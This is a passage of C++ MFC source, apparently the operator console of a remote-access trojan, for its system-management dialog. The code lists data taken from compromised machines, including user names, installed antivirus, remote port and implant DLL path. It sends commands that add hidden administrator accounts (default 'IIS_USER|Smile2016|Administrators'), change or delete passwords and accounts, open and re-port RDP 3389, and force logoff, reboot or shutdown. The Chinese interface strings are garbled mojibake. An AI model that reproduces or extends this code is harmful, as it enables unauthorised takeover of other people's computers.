m_list.InsertColumn(1, "<EFBFBD><EFBFBD>Ϣ", LVCFMT_LEFT, 300);
tagSystemInfo m_SysInfo;
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
memcpy(&m_SysInfo, lpBuffer , sizeof(tagSystemInfo));
CString str;
m_list.InsertItem(0, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP") , 0);
m_list.InsertItem(1, _T("CPU<EFBFBD><EFBFBD>Ϣ"), 1);
m_list.InsertItem(2, _T("<EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD>С"),2);
m_list.InsertItem(3, _T("Ӳ<EFBFBD>̴<EFBFBD>С"),3);
m_list.InsertItem(4, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"),4);
m_list.InsertItem(5, _T("<EFBFBD><EFBFBD>ǰ<EFBFBD>û<EFBFBD>"),4);
m_list.InsertItem(6, _T("<EFBFBD>ʱ<EFBFBD><EFBFBD>"),5);
m_list.InsertItem(7, _T("<EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"),6);
m_list.InsertItem(8, _T("Զ<EFBFBD>̶˿<EFBFBD>"),7);
m_list.InsertItem(9, _T("<EFBFBD>Ƿ<EFBFBD>˫<EFBFBD><EFBFBD>"),8);
m_list.InsertItem(10, _T("<EFBFBD><EFBFBD>Ļ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>"),9);
m_list.InsertItem(11, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>"),10);
m_list.SetItemText(0, 1, IPAddress);
m_list.SetItemText(1, 1, m_SysInfo.szCpuInfo);
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>:%d MB , δʹ<CEB4><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>:%d MB",m_SysInfo.szMemory,m_SysInfo.szMemoryFree);
m_list.SetItemText(2, 1, str);
str.Format("Ӳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:%ld GB , ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:%ld GB",m_SysInfo.szDriveSize,m_SysInfo.szDriveFreeSize);
m_list.SetItemText(3, 1, str);
m_list.SetItemText(4, 1, m_SysInfo.szPcName);
m_list.SetItemText(5, 1, m_SysInfo.szUserName);
m_list.SetItemText(6, 1, m_SysInfo.szActiveTime);
m_list.SetItemText(7, 1, m_SysInfo.szAntiVirus);
m_list.SetItemText(8, 1, m_SysInfo.szRemotePort);
m_list.SetItemText(9, 1, m_SysInfo.szOpenInfo);
m_list.SetItemText(10, 1, m_SysInfo.szScrxy);
m_list.SetItemText(11, 1, m_SysInfo.szDLLPath);
nRemotePort = atoi(m_SysInfo.szRemotePort);
}
void CSystemDlg::ShowSysUserList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
m_list.InsertColumn(1, "<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
m_list.InsertColumn(2, "״̬", LVCFMT_LEFT, 80);
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
CString str;
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
str = (char*)lpBuffer + dwOffset;
m_list.InsertItem(i, str);
dwOffset += str.GetLength()+1;
str = (char*)lpBuffer + dwOffset;
dwOffset += str.GetLength()+1;
m_list.SetItemText(i, 1, str);
str = (char*)lpBuffer + dwOffset;
dwOffset += str.GetLength()+1;
m_list.SetItemText(i, 2, str);
}
}
void CSystemDlg::ShowUserStateList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "<EFBFBD>û<EFBFBD>", LVCFMT_LEFT, 100);
m_list.InsertColumn(1, "<EFBFBD><EFBFBD>ʶ", LVCFMT_LEFT, 40);
m_list.InsertColumn(2, "״̬", LVCFMT_LEFT, 100);
m_list.InsertColumn(3, "<EFBFBD>", LVCFMT_LEFT, 70);
m_list.InsertColumn(4, "Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP", LVCFMT_LEFT, 150);
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *strUserName;
char *strSessionId;
char *strClientAddress;
char *strWinStationName;
char *ConnectionState;
DWORD dwOffset = 0;
CString str;
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
strUserName = lpBuffer + dwOffset;
m_list.InsertItem(i, strUserName);
dwOffset += lstrlen(strUserName)+1;
strSessionId = lpBuffer + dwOffset;
str.Format("%d",atoi(strSessionId));
m_list.SetItemText(i, 1, str);
dwOffset += lstrlen(strSessionId)+1;
strClientAddress = lpBuffer + dwOffset;
m_list.SetItemText(i, 4, strClientAddress);
dwOffset += lstrlen(strClientAddress)+1;
strWinStationName = lpBuffer + dwOffset;
m_list.SetItemText(i, 3, strWinStationName);
dwOffset += lstrlen(strWinStationName)+1;
ConnectionState = lpBuffer + dwOffset;
m_list.SetItemText(i, 2, ConnectionState);
dwOffset += lstrlen(ConnectionState)+1;
}
}
void CSystemDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if (nIDEvent == 1)
{
CString str;
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d",dwPrs);
m_wndStatusBar.SetPaneText(0, str);
str.Format("CPU ʹ<><CAB9><EFBFBD><EFBFBD>: %d%%",dwCpu);
m_wndStatusBar.SetPaneText(1, str);
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>: %d%%",dwMem);
m_wndStatusBar.SetPaneText(2, str);
}
CDialog::OnTimer(nIDEvent);
}
void CSystemDlg::OnCancel()
{
// TODO: Add extra cleanup here
OnClose();
CDialog::OnCancel();
}
void CSystemDlg::OnChangeUserState(UINT uState)
{
POSITION pos = m_list.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
if (pos == NULL)
{
if (uState == COMMAND_DISCONNECTUSER)
::MessageBox(m_hWnd,_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>Ҫ<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>!"),"<EFBFBD><EFBFBD>ʾ",MB_YESNO);
else
::MessageBox(m_hWnd,_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>Ҫע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>!"),"<EFBFBD><EFBFBD>ʾ",MB_YESNO);
return;
}
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (m_list.GetSelectedCount() * 4));
lpBuffer[0] = uState;
DWORD dwOffset = 1;
int nItem=0;
while(pos) //so long as we have a valid POSITION, we keep iterating
{
nItem = m_list.GetNextSelectedItem(pos);
DWORD dwProcessID = m_list.GetItemData(nItem);
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
dwOffset += sizeof(DWORD);
}
CString str,strCaption;
char *lpTips = _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20>Ͽ<EFBFBD><CFBF>û<EFBFBD><C3BB><EFBFBD>²<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>\n");
if (uState == COMMAND_LOGOFF_USER)
{
strCaption = "ע<EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
lpTips = _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ע<><D7A2><EFBFBD>û<EFBFBD><C3BB><EFBFBD>²<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>\n");
str.Format(_T("%sȷʵ <20><>ע<EFBFBD><D7A2> %s <20>û<EFBFBD><C3BB><EFBFBD>?"), lpTips, m_list.GetItemText(nItem,0));
}
else
{
strCaption = "<EFBFBD>Ͽ<EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
str.Format(_T("%sȷʵ <20><><EFBFBD>Ͽ<EFBFBD> %s <20>û<EFBFBD><C3BB><EFBFBD>?"), lpTips, m_list.GetItemText(nItem,0));
}
if (::MessageBox(m_hWnd, str, strCaption, MB_YESNO|MB_ICONQUESTION) == IDNO)
{
LocalFree(lpBuffer);
return;
}
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemDlg::OnChangeUser(UINT uState)
{
POSITION pos = m_list.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
CString Data;
CString Name;
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = uState;
dwOffset = 1;
if (pos == NULL)
{
return;
}
else
{
while(pos)
{
int nItem = m_list.GetNextSelectedItem(pos);
Name = m_list.GetItemText(nItem, 0);
Data += Name;
Data += _T("\r\n");
}
Data = Data.Left(Data.GetLength() - 2);
memcpy(lpBuffer + dwOffset, Data.GetBuffer(0), (Data.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (Data.GetLength() + 1)*sizeof(TCHAR);
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
m_iocpServer->Send(m_pContext, lpBuffer, dwOffset);
LocalFree(lpBuffer);
}
void CSystemDlg::OnMenuitemActiveUser()
{
// TODO: Add your command handler code here
OnChangeUser(COMMAND_ACITVEUSER);
}
void CSystemDlg::OnMenuitemDisableUser()
{
// TODO: Add your command handler code here
OnChangeUser(COMMAND_DISABLEEUSER);
}
void CSystemDlg::OnMenuitemAddUser()
{
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("<EFBFBD><EFBFBD>NET<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>"), _T("<EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>|<7C><><EFBFBD><EFBFBD>|<7C>û<EFBFBD><C3BB><EFBFBD>"), this,TRUE,"IIS_USER|Smile2016|Administrators");
if (dlg.DoModal() != IDOK)
return;
dlg.m_str.MakeLower();
CString Username, Password, Administrators;
AfxExtractSubString(Username,dlg.m_str.GetBuffer(0),0,'|');
AfxExtractSubString(Password,dlg.m_str.GetBuffer(0),1,'|');
AfxExtractSubString(Administrators,dlg.m_str.GetBuffer(0),2,'|');
if (Username.IsEmpty()|| Password.IsEmpty()||Administrators.IsEmpty())
{
::MessageBox(m_hWnd,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD>Ϸ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",NULL);
return;
}
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = COMMAND_NET_USER;
dwOffset = 1;
memcpy(lpBuffer + dwOffset, Username.GetBuffer(0), (Username.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (Username.GetLength() + 1)*sizeof(TCHAR);
memcpy(lpBuffer + dwOffset, Password.GetBuffer(0), (Password.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (Password.GetLength() + 1)*sizeof(TCHAR);
memcpy(lpBuffer + dwOffset, Administrators.GetBuffer(0), (Administrators.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (Administrators.GetLength() + 1)*sizeof(TCHAR);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
m_iocpServer->Send(m_pContext, lpBuffer, dwOffset);
LocalFree(lpBuffer);
}
void CSystemDlg::OnMenuitemChangePass()
{
// TODO: Add your command handler code here
POSITION pos = m_list.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
if (pos == NULL)
{
::MessageBox(m_hWnd,_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>Ҫ<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>!"),"<EFBFBD><EFBFBD>ʾ",MB_YESNO);
return;
}
CInputDialog dlg;
dlg.Init(_T("<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>޸ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"), this);
if (dlg.DoModal() != IDOK)
return;
dlg.m_str.MakeLower();
CString Data;
CString Name;
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = COMMAND_CHANGE_USERPASS;
dwOffset = 1;
while(pos)
{
int nItem = m_list.GetNextSelectedItem(pos);
Name = m_list.GetItemText(nItem, 0);
Data += Name;
Data += _T("\r\n");
}
Data = Data.Left(Data.GetLength() - 2);
memcpy(lpBuffer + dwOffset, Data.GetBuffer(0), (Data.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (Data.GetLength() + 1)*sizeof(TCHAR);
memcpy(lpBuffer + dwOffset, dlg.m_str.GetBuffer(0), (dlg.m_str.GetLength() + 1)*sizeof(TCHAR));
dwOffset += (dlg.m_str.GetLength() + 1)*sizeof(TCHAR);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
m_iocpServer->Send(m_pContext, lpBuffer, dwOffset);
LocalFree(lpBuffer);
}
void CSystemDlg::OnMenuitemDelUser()
{
// TODO: Add your command handler code here
OnChangeUser(COMMAND_DELUSER);
}
void CSystemDlg::OnMenuitemDisconnectUser()
{
// TODO: Add your command handler code here
OnChangeUserState(COMMAND_DISCONNECTUSER);
}
void CSystemDlg::OnMenuitemLogoffUser()
{
// TODO: Add your command handler code here
OnChangeUserState(COMMAND_LOGOFF_USER);
}
void CSystemDlg::OnButtonMstsc()
{
// TODO: Add your control notification handler code here
TCHAR szMSTSC[MAX_PATH], szMsg[MAX_PATH];
GetModuleFileName(NULL, szMSTSC, sizeof(szMSTSC));
*_tcsrchr( szMSTSC, '\\' ) = '\0';
lstrcat(szMSTSC, _T("\\Tools\\mstsc.exe"));
if (GetFileAttributes(szMSTSC) == INVALID_FILE_ATTRIBUTES)
{
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> %s<><73>ʧ!\n<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"), szMSTSC);
MessageBox(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"), MB_ICONWARNING | MB_OK);
return;
}
CString str;
str.Format("%s:%d",IPAddress,nRemotePort);
CInputDialog dlg;
dlg.Init(_T("Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>IP:<3A>˿<EFBFBD>"), this,TRUE,str);
if (dlg.DoModal() != IDOK)
return;
/* if (((CButton*)GetDlgItem(IDC_CHECK_CONSOLE))->GetCheck())*/
wsprintf(szMsg, _T("/console /v:%s"), dlg.m_str.GetBuffer(0));
/*
else
wsprintf(szMsg, _T("/v:%s:"), dlg.m_str.GetBuffer(0));*/
ShellExecute(NULL, _T("open"), szMSTSC, szMsg, NULL, SW_SHOWNORMAL);
}
void CSystemDlg::OnButtonChanageport()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CString strPort;
GetDlgItemText(IDC_EDIT_PORT, strPort);
int nPacketLength = 1 + strPort.GetLength() * 2;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_3389_PORT;
memcpy(lpPacket + 1, strPort.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
delete []lpPacket;
::MessageBox(m_hWnd,_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ժ<EFBFBD><EFBFBD><EFBFBD>Ч!"),_T("<EFBFBD><EFBFBD>ʾ"),NULL);
}
void CSystemDlg::OnButtonOpen3389()
{
// TODO: Add your control notification handler code here
BYTE bToken = COMMAND_OPEN_3389;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
void CSystemDlg::OnMenuitemSLogoff()
{
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_S_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
void CSystemDlg::OnMenuitemSReboot()
{
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_S_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
void CSystemDlg::OnMenuitemSShutdown()
{
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_S_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
BOOL CSystemDlg::DestroyWindow()
{
// TODO: Add your specialized code here and/or call the base class
KillTimer(1);
return CDialog::DestroyWindow();
}